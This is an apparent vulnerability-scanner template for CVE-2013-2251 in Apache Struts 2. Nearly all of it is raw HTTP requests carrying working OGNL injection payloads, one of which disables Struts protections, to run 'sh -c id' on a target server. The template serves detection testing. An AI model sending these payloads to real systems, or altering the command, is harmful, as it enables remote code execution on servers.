id: CVE-2013-2251

info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized. Since said information will be evaluated as an OGNL expression against the value stack, this introduces the possibility to inject server side code.
  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
  tags: cve,cve2013,rce,struts,apache

requests:
  - raw:
      - |
        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*
        Accept-Language: en

      - |
        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*
        Accept-Language: en

      - |
        GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*
        Accept-Language: en

    payloads:
      params:
        - "redirect"
        - "action"
        - "redirectAction"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 400
        condition: or
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
        part: body